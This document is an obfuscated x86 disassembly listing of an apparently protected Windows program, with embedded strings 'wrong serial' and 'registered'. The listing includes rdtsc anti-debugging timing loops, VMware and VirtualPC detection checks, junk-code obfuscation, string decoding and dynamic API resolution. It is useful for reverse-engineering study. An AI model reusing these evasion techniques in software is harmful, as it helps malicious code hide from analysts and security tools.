		add	dword ptr [esp], 0Ah
		retn
; ---------------------------------------------------------------------------
		align 2
		dw 5951h
		dd 0FF228A0Fh, 8B0FFFFFh, 0FFFFFF1Ch
; ---------------------------------------------------------------------------
		pop	esp
; START	OF FUNCTION CHUNK FOR sub_407168


loc_40732D:				; CODE XREF: sub_407168+5j
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_40733D:				; CODE XREF: sub_407168:loc_40733Dj
		jg	short loc_40733D
		jo	loc_4071C8
		jno	loc_4071C8
		xchg	cl, [edi]
		xor	[ebx+2B310FC8h], ecx
		enter	0FFFFD1F7h, 81h
		stc
		add	[eax+0], dl
		add	[ebp+eax+var_17], bh
		pop	ebx
		cmp	al, 20h
		and	[eax+52h], dl
		rdtsc
		xor	ecx, eax
		pop	edx
		xor	ecx, eax
		pop	eax
		not	eax
		add	esp, 4
		call	sub_4071DB
		pop	esi
		mov	ah, 17h
		cmp	eax, 9F0983F2h


loc_40737F:				; CODE XREF: sub_407168+D3j
					; sub_407168+D9j
		jmp	short loc_407385
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		db 1Dh,	24h, 44h
; ---------------------------------------------------------------------------
		cld
; START	OF FUNCTION CHUNK FOR sub_407168


loc_407385:				; CODE XREF: sub_407168:loc_40737Fj
		push	ecx
		pop	ecx
		jo	loc_407394
		jno	loc_407394
		pop	es


loc_407394:				; CODE XREF: sub_407168+21Fj
					; sub_407168+225j
		call	near ptr loc_4073A3+1
		jb	short loc_407400
		imul	esi, [bp+di+arg_6C], 64657265h


loc_4073A3:				; CODE XREF: sub_407168:loc_407394p
		add	[eax-15h], bl


loc_4073A6:				; CODE XREF: sub_407168+254j
		add	al, [edi-73F006D4h]
		idiv	dh
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 0FEF08D0Fh
		db 2 dup(0FFh),	43h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4073B7:				; CODE XREF: sub_407168+BDj
		call	near ptr loc_4073BC+1


loc_4073BC:				; CODE XREF: sub_407168:loc_4073B7p
		jle	short loc_4073A6
		add	[eax], eax
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		dd 83180000h, 12042444h, 0A240483h, 525008C3h, 0C833310Fh
		dd 58C8335Ah, 0CF0FCF0Fh, 48FA02EBh, 0B0800FD6h, 0FFFFFFDh
		dd 0FFFDAA81h
		db 0FFh, 0E8h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4073EE:				; CODE XREF: sub_407168+F8j
					; sub_407168+FEj
		jmp	loc_4075AE
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		adc	[edx+17h], edi
		cmp	eax, 5915DFC7h
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4073FB:				; CODE XREF: sub_407168+309j
		jmp	short near ptr loc_407409+1
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		db 77h,	72h, 6Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_407400:				; CODE XREF: sub_407168+231j
		outsb
		and	[bp+di+arg_5D],	dh
		jb	short loc_407470
		popa
		insb


loc_407409:				; CODE XREF: sub_407168:loc_4073FBj
		add	dh, dl
		jl	loc_407542
		jge	loc_407542
		std
		call	near ptr loc_40741D+1


loc_40741D:				; CODE XREF: sub_407168+2B0p
		push	0FFFFFFE8h
		add	[eax], eax
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		db 2 dup(0), 8
; ---------------------------------------------------------------------------
		add	dword ptr [esp+4], 12h
		add	dword ptr [esp], 0Ah
		retn
; ---------------------------------------------------------------------------
		dw 0FC8h
		dd 0AF0FC0A3h, 0C0AF0FC0h, 65C0A30Fh, 18CE8h, 17B14C00h
		dd 0C7F0D43Dh
		db 0EBh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_407449:				; CODE XREF: sub_407168+458j
					; sub_407168+45Ej
		jmp	short loc_40744F
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		db 39h
		db 0D4h, 44h, 14h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_40744F:				; CODE XREF: sub_407168:loc_407449j
		jl	near ptr loc_4074AF+3
		jge	near ptr loc_4074AF+3
		outsd
; END OF FUNCTION CHUNK	FOR sub_407168

; =============== S U B	R O U T	I N E =======================================



sub_40745C	proc near		; CODE XREF: sub_407168+48Bp
		jmp	short loc_40746B
sub_40745C	endp

; ---------------------------------------------------------------------------
		dw 7277h
		dd 20676E6Fh, 69726573h
		db 61h,	6Ch, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_40746B:				; CODE XREF: sub_40745Cj
		mov	al, al
		add	esp, 4


loc_407470:				; CODE XREF: sub_407168+29Dj
		clc
		jnb	loc_4073FB
		add	ds:0A21748BBh, bh
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_40748D:				; CODE XREF: sub_407168:loc_40748Dj
		jg	short loc_40748D
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_40749F:				; CODE XREF: sub_407168:loc_40749Fj
		jg	short loc_40749F
		jmp	short loc_4074A5
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		db 20h
		db 80h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4074A5:				; CODE XREF: sub_407168+339j
		stc
		jb	loc_407638
		add	dh, bh
		push	edx


loc_4074AF:				; CODE XREF: sub_407168:loc_40744Fj
					; sub_407168+2EDj
		add	eax, 52502CF8h
		rdtsc
		xor	ecx, eax
		pop	edx
		xor	ecx, eax
		pop	eax
		js	loc_407600
		jns	loc_407600
		db	36h
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h	; CODE XREF: sub_407168+385j


loc_4074D9:				; CODE XREF: sub_407168:loc_4074D9j
		jg	short loc_4074D9
		push	eax
		pop	eax
		push	ecx
		pop	ecx
		push	edx
		pop	edx
		jz	loc_40766F
		jnz	loc_40766F
		jnp	short near ptr loc_4074D3+4
		add	[eax], eax
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		db 2 dup(0), 26h
; ---------------------------------------------------------------------------
		call	near ptr loc_4074F9+1


loc_4074F9:				; CODE XREF: CODE:004074F4p
		cmp	[ebx+12042444h], al
		add	dword ptr [esp], 0Ah
		retn
; ---------------------------------------------------------------------------
		dd 0BE850h, 65720000h, 74736967h, 64657265h, 1EB5800h
		dd 8A0F364Ch, 0FFFFFF5Dh, 0FF578B0Fh, 5018FFFFh, 33310F52h
		dd 0C8335AC8h, 0C0C10F58h, 0B38C0FF8h, 0FFFFFFFh, 0FFFFAD8Dh
; ---------------------------------------------------------------------------
		push	dword ptr [ecx]
; START	OF FUNCTION CHUNK FOR sub_407168


loc_407542:				; CODE XREF: sub_407168+2A3j
					; sub_407168+2A9j
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h
		jl	short loc_407559
		jmp	near ptr 0E120924Ch
; ---------------------------------------------------------------------------


loc_407559:				; CODE XREF: sub_407168+3EAj
		push	0C425h
		add	esp, 4
		push	edx
		pop	edx
		repne jmp loc_407571
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		or	al, dl
		pop	ss
		cmp	eax, 0A5265966h
; START	OF FUNCTION CHUNK FOR sub_407168


loc_407571:				; CODE XREF: sub_407168+3FBj
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h
		jl	short loc_407588
		jmp	near ptr 892491BBh
; ---------------------------------------------------------------------------


loc_407588:				; CODE XREF: sub_407168+419j
		call	sub_40758E
		out	dx, al
; END OF FUNCTION CHUNK	FOR sub_407168

; =============== S U B	R O U T	I N E =======================================



sub_40758E	proc near		; CODE XREF: sub_407168:loc_407588p
		call	near ptr loc_407593+1


loc_407593:				; CODE XREF: sub_40758Ep
		fadd	dword ptr [ebx+12042444h]
sub_40758E	endp ; sp-analysis failed

		add	dword ptr [esp], 0Ah
		retn
; ---------------------------------------------------------------------------
		dw 5100h
		dd 228A0F59h, 0FFFFFFFh, 0FFFF1C8Bh
		db 0FFh, 5Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4075AE:				; CODE XREF: sub_407168:loc_4073EEj
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_4075BE:				; CODE XREF: sub_407168:loc_4075BEj
		jg	short loc_4075BE
		jo	loc_407449
		jno	loc_407449
		xchg	cl, [edi]
		xor	[ebx+2B310FC8h], ecx
		enter	0FFFFD1F7h, 81h
		stc
		add	[eax+0], dl
		add	[ebp+eax+var_17], bh
		pop	ebx
		cmp	al, 20h
		and	[eax+52h], dl
		rdtsc
		xor	ecx, eax
		pop	edx
		xor	ecx, eax
		pop	eax
		not	eax
		add	esp, 4
		call	sub_40745C
		pop	esi
		mov	ah, 17h
		cmp	eax, 9F0983F2h


loc_407600:				; CODE XREF: sub_407168+354j
					; sub_407168+35Aj
		jmp	short loc_407606
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		dw 241Dh
		db 44h,	0FCh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_407606:				; CODE XREF: sub_407168:loc_407600j
		push	ecx
		pop	ecx
		jo	loc_407615
		jno	loc_407615
		pop	es


loc_407615:				; CODE XREF: sub_407168+4A0j
					; sub_407168+4A6j
		call	near ptr loc_407624+1
		jb	short loc_407681
		imul	esi, [bp+di+arg_6C], 64657265h


loc_407624:				; CODE XREF: sub_407168:loc_407615p
		add	[eax-15h], bl


loc_407627:				; CODE XREF: sub_407168+4D5j
		add	al, [edi-73F006D4h]
		idiv	dh
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0F08D0FFFh, 43FFFFFEh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_407638:				; CODE XREF: sub_407168+33Ej
		call	near ptr loc_40763D+1


loc_40763D:				; CODE XREF: sub_407168:loc_407638p
		jle	short loc_407627
		add	[eax], eax
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		db 2 dup(0), 18h
; ---------------------------------------------------------------------------
		add	dword ptr [esp+4], 12h
		add	dword ptr [esp], 0Ah
		retn
; ---------------------------------------------------------------------------
		dw 5008h
		dd 33310F52h, 0C8335AC8h, 0FCF0F58h, 0FA02EBCFh, 800FD648h
		dd 0FFFFFDB0h, 0FDAA810Fh
		db 2 dup(0FFh),	0E8h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_40766F:				; CODE XREF: sub_407168+379j
					; sub_407168+37Fj
		jmp	loc_40782F
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		adc	[edx+17h], edi
		cmp	eax, 5915DFC7h
; START	OF FUNCTION CHUNK FOR sub_407168


loc_40767C:				; CODE XREF: sub_407168+58Aj
		jmp	short near ptr loc_40768A+1
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		dw 7277h
		db 6Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_407681:				; CODE XREF: sub_407168+4B2j
		outsb
		and	[bp+di+arg_5D],	dh
		jb	short loc_4076F1
		popa
		insb


loc_40768A:				; CODE XREF: sub_407168:loc_40767Cj
		add	dh, dl
		jl	loc_4077C3
		jge	loc_4077C3
		std
		call	near ptr loc_40769E+1


loc_40769E:				; CODE XREF: sub_407168+531p
		push	0FFFFFFE8h
		add	[eax], eax
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		or	[ebx+12042444h], al
		add	dword ptr [esp], 0Ah
		retn
; ---------------------------------------------------------------------------
		db 0C8h
		dd 0FC0A30Fh, 0AF0FC0AFh, 0C0A30FC0h, 18CE865h,	0B14C0000h
		dd 0F0D43D17h
		db 0C7h, 0EBh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4076CA:				; CODE XREF: sub_407168+6D9j
					; sub_407168+6DFj
		jmp	short loc_4076D0
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		dd 1444D439h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4076D0:				; CODE XREF: sub_407168:loc_4076CAj
		jl	near ptr loc_407730+3
		jge	near ptr loc_407730+3
		outsd
; END OF FUNCTION CHUNK	FOR sub_407168

; =============== S U B	R O U T	I N E =======================================



sub_4076DD	proc near		; CODE XREF: sub_407168+70Cp
		jmp	short loc_4076EC
sub_4076DD	endp

; ---------------------------------------------------------------------------
		db 77h
		dd 676E6F72h, 72657320h, 6C6169h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4076EC:				; CODE XREF: sub_4076DDj
		mov	al, al
		add	esp, 4


loc_4076F1:				; CODE XREF: sub_407168+51Ej
		clc
		jnb	loc_40767C
		add	ds:0A21748BBh, bh
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_40770E:				; CODE XREF: sub_407168:loc_40770Ej
		jg	short loc_40770E
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_407720:				; CODE XREF: sub_407168:loc_407720j
		jg	short loc_407720
		jmp	short loc_407726
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		db 20h,	80h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_407726:				; CODE XREF: sub_407168+5BAj
		stc
		jb	loc_4078B9
		add	dh, bh
		push	edx


loc_407730:				; CODE XREF: sub_407168:loc_4076D0j
					; sub_407168+56Ej
		add	eax, 52502CF8h
		rdtsc
		xor	ecx, eax
		pop	edx
		xor	ecx, eax
		pop	eax
		js	loc_407881
		jns	loc_407881
		db	36h
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h	; CODE XREF: sub_407168+606j


loc_40775A:				; CODE XREF: sub_407168:loc_40775Aj
		jg	short loc_40775A
		push	eax
		pop	eax
		push	ecx
		pop	ecx
		push	edx
		pop	edx
		jz	loc_4078F0
		jnz	loc_4078F0
		jnp	short near ptr loc_407754+4
		add	[eax], eax
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		db	26h
		call	near ptr loc_40777A+1


loc_40777A:				; CODE XREF: CODE:00407774p
		cmp	[ebx+12042444h], al
		add	dword ptr [esp], 0Ah
		retn
; ---------------------------------------------------------------------------
		db 50h,	0E8h, 0Bh
		dd 72000000h, 73696765h, 65726574h, 0EB580064h,	0F364C01h
		dd 0FFFF5D8Ah, 578B0FFFh, 18FFFFFFh, 310F5250h,	335AC833h
		dd 0C10F58C8h, 8C0FF8C0h, 0FFFFFFB3h, 0FFAD8D0Fh
		db 2 dup(0FFh),	31h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4077C3:				; CODE XREF: sub_407168+524j
					; sub_407168+52Aj
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h
		jl	short loc_4077DA
		jmp	near ptr 0E12094CDh
; ---------------------------------------------------------------------------


loc_4077DA:				; CODE XREF: sub_407168+66Bj
		push	0C425h
		add	esp, 4
		push	edx
		pop	edx
		repne jmp loc_4077F2
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		or	al, dl
		pop	ss
		cmp	eax, 0A5265966h
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4077F2:				; CODE XREF: sub_407168+67Cj
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h
		jl	short loc_407809
		jmp	near ptr 8924943Ch
; ---------------------------------------------------------------------------


loc_407809:				; CODE XREF: sub_407168+69Aj
		call	sub_40780F
		out	dx, al
; END OF FUNCTION CHUNK	FOR sub_407168

; =============== S U B	R O U T	I N E =======================================



sub_40780F	proc near		; CODE XREF: sub_407168:loc_407809p
		call	near ptr loc_407814+1


loc_407814:				; CODE XREF: sub_40780Fp
		fadd	dword ptr [ebx+12042444h]
sub_40780F	endp ; sp-analysis failed

		add	dword ptr [esp], 0Ah
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 8A0F5951h, 0FFFFFF22h, 0FF1C8B0Fh
		db 2 dup(0FFh),	5Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_40782F:				; CODE XREF: sub_407168:loc_40766Fj
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_40783F:				; CODE XREF: sub_407168:loc_40783Fj
		jg	short loc_40783F
		jo	loc_4076CA
		jno	loc_4076CA
		xchg	cl, [edi]
		xor	[ebx+2B310FC8h], ecx
		enter	0FFFFD1F7h, 81h
		stc
		add	[eax+0], dl
		add	[ebp+eax+var_17], bh
		pop	ebx
		cmp	al, 20h
		and	[eax+52h], dl
		rdtsc
		xor	ecx, eax
		pop	edx
		xor	ecx, eax
		pop	eax
		not	eax
		add	esp, 4
		call	sub_4076DD
		pop	esi
		mov	ah, 17h
		cmp	eax, 9F0983F2h


loc_407881:				; CODE XREF: sub_407168+5D5j
					; sub_407168+5DBj
		jmp	short loc_407887
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		db 1Dh
; ---------------------------------------------------------------------------
		and	al, 44h
		cld
; START	OF FUNCTION CHUNK FOR sub_407168


loc_407887:				; CODE XREF: sub_407168:loc_407881j
		push	ecx
		pop	ecx
		jo	loc_407896
		jno	loc_407896
		pop	es


loc_407896:				; CODE XREF: sub_407168+721j
					; sub_407168+727j
		call	near ptr loc_4078A5+1
		jb	short near ptr loc_4078FF+3
		imul	esi, [bp+di+arg_6C], 64657265h


loc_4078A5:				; CODE XREF: sub_407168:loc_407896p
		add	[eax-15h], bl


loc_4078A8:				; CODE XREF: sub_407168+756j
		add	al, [edi-73F006D4h]
		idiv	dh
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		dd 8D0FFFFFh, 0FFFFFEF0h
; ---------------------------------------------------------------------------
		inc	ebx
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4078B9:				; CODE XREF: sub_407168+5BFj
		call	near ptr loc_4078BE+1


loc_4078BE:				; CODE XREF: sub_407168:loc_4078B9p
		jle	short loc_4078A8
		add	[eax], eax
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		sbb	[ebx+12042444h], al
		add	dword ptr [esp], 0Ah
		retn
; ---------------------------------------------------------------------------
		db 8
		dd 310F5250h, 335AC833h, 0CF0F58C8h, 2EBCF0Fh, 0FD648FAh
		dd 0FFFDB080h, 0AA810FFFh, 0E8FFFFFDh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4078F0:				; CODE XREF: sub_407168+5FAj
					; sub_407168+600j
		mov	[ebp+var_1], 1
		mov	al, [ebp+var_1]
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078FC	proc near		; CODE XREF: sub_407938+69p

var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp


loc_4078FF:				; CODE XREF: sub_407168+733j
		add	esp, 0FFFFFEECh
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		lea	edx, [ebp+var_114]
		mov	eax, [ebp+var_4]
		call	sub_401648
		lea	edx, [ebp+var_114]
		lea	eax, [ebp+var_14]
		mov	cl, 0Bh
		call	sub_40153C
		mov	eax, [ebp+var_8]
		lea	edx, [ebp+var_14]
		call	sub_402524
		mov	esp, ebp
		pop	ebp
		retn
sub_4078FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407938	proc near		; CODE XREF: CODE:004081E7p
					; CODE:004081F4p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		xor	ecx, ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4026D0
		xor	eax, eax
		push	ebp
		push	offset loc_4079DC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		nop
		nop
		nop
		nop
		nop
		nop
		mov	eax, [ebp+var_4]
		call	sub_40255C
		test	eax, eax
		jle	short loc_4079BE
		mov	[ebp+var_14], eax
		mov	[ebp+var_C], 1


loc_40797B:				; CODE XREF: sub_407938+84j
		mov	[ebp+var_D], 1
		mov	al, [ebp+var_D]
		inc	eax
		add	al, byte ptr [ebp+var_C]
		add	al, [ebp+var_D]
		add	al, byte ptr [ebp+var_C]
		mov	[ebp+var_D], al
		mov	eax, [ebp+var_8]
		push	dword ptr [eax]
		push	offset aAsdasdasdasdsa ; "asdasdasdasdsa"
		lea	edx, [ebp+var_18]
		xor	eax, eax
		mov	al, [ebp+var_D]
		call	sub_4078FC
		push	[ebp+var_18]
		mov	eax, [ebp+var_8]
		mov	edx, 3
		call	sub_4025A8
		inc	[ebp+var_C]
		dec	[ebp+var_14]
		jnz	short loc_40797B


loc_4079BE:				; CODE XREF: sub_407938+37j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4079E3


loc_4079CB:				; CODE XREF: sub_407938+A9j
		lea	eax, [ebp+var_18]
		call	sub_4022E4
		lea	eax, [ebp+var_4]
		call	sub_4022E4
		retn
; ---------------------------------------------------------------------------


loc_4079DC:				; DATA XREF: sub_407938+1Co
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_4079CB
; ---------------------------------------------------------------------------


loc_4079E3:				; CODE XREF: sub_407938+A3j
					; DATA XREF: sub_407938+8Eo
		mov	esp, ebp
		pop	ebp
		retn
sub_407938	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Eh
aAsdasdasdasdsa	db 'asdasdasdasdsa',0   ; DATA XREF: sub_407938+5Co
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A00	proc near		; CODE XREF: sub_407B70+2Fp
					; sub_407B70+4Dp ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		xor	ecx, ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4026D0
		xor	eax, eax
		push	ebp
		push	offset loc_407A8C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_40255C
		test	eax, eax
		jle	short loc_407A6E
		mov	[ebp+var_14], eax
		mov	[ebp+var_C], 1


loc_407A3D:				; CODE XREF: sub_407A00+6Cj
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	al, [eax+edx-1]
		mov	[ebp+var_D], al
		lea	eax, [ebp+var_18]
		mov	dl, [ebp+var_D]
		sub	dl, 33h
		call	sub_4024A8
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_8]
		call	sub_402564
		mov	eax, [ebp+var_8]
		inc	[ebp+var_C]
		dec	[ebp+var_14]
		jnz	short loc_407A3D


loc_407A6E:				; CODE XREF: sub_407A00+31j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_407A93


loc_407A7B:				; CODE XREF: sub_407A00+91j
		lea	eax, [ebp+var_18]
		call	sub_4022E4
		lea	eax, [ebp+var_4]
		call	sub_4022E4
		retn
; ---------------------------------------------------------------------------


loc_407A8C:				; DATA XREF: sub_407A00+1Co
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_407A7B
; ---------------------------------------------------------------------------


loc_407A93:				; CODE XREF: sub_407A00+8Bj
					; DATA XREF: sub_407A00+76o
		mov	esp, ebp
		pop	ebp
		retn
sub_407A00	endp

; ---------------------------------------------------------------------------
		align 4


loc_407A98:				; CODE XREF: CODE:00408255p
		push	ebp
		mov	ecx, offset loc_407AE2
		mov	ebp, esp
		push	ebx
		push	ecx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	ebx, 0
		mov	eax, 1
; ---------------------------------------------------------------------------
		dw 3F0Fh
; ---------------------------------------------------------------------------
		pop	es
		or	esi, [esi]
		mov	eax, [esp]
		mov	large fs:0, eax
		add	esp, 8
		test	ebx, ebx
		setz	al
		db	36h
		lea	esp, [ebp-4]
		db	36h
		mov	ebx, [esp]
		db	36h
		mov	ebp, [esp+4]
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_407AE2:				; DATA XREF: CODE:00407A99o
		mov	ecx, [esp+0Ch]
		mov	dword ptr [ecx+0A4h], 0FFFFFFFFh
		add	dword ptr [ecx+0B8h], 4
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407AFC	proc near		; CODE XREF: CODE:loc_408248p

var_2C		= dword	ptr -2Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00401E34 SIZE 00000160 BYTES
; FUNCTION CHUNK AT 00401FB4 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 0
		xor	eax, eax
		push	ebp
		push	offset loc_407B44
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	edx
		push	ecx
		push	ebx
		mov	eax, 564D5868h
		mov	ebx, 0
		mov	ecx, 0Ah
		mov	edx, 5658h
		in	eax, dx
		cmp	ebx, 564D5868h
		setz	[ebp+var_1]
		pop	ebx
		pop	ecx
		pop	edx
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_407B5E
; ---------------------------------------------------------------------------


loc_407B44:				; DATA XREF: sub_407AFC+Eo
		jmp	loc_401E34
; ---------------------------------------------------------------------------
		db 1, 2	dup(0)
		dd 403BD400h, 407B5500h, 0FF45C600h, 0A512E800h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_407B5E:				; CODE XREF: sub_407AFC+46j
		mov	al, [ebp+var_1]
		mov	[ebp+var_2], al
		mov	al, [ebp+var_2]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_407AFC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B70	proc near		; CODE XREF: CODE:loc_408228p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD0h
		xor	eax, eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		xor	eax, eax
		push	ebp
		push	offset loc_407C74
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_407168
		lea	edx, [ebp+var_24]
		mov	eax, offset dword_407C8C
		call	sub_407A00
		mov	eax, [ebp+var_24]
		call	sub_4026E0
		push	eax
		call	sub_4031F4	; LoadLibraryA
		mov	[ebp+var_1C], eax
		lea	edx, [ebp+var_28]
		mov	eax, offset dword_407CA4
		call	sub_407A00
		mov	eax, [ebp+var_28]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_4031CC	; GetProcAddress
		mov	[ebp+var_20], eax
		lea	edx, [ebp+var_2C]
		mov	eax, offset dword_407CBC
		call	sub_407A00
		mov	eax, [ebp+var_2C]
		call	sub_4026E0
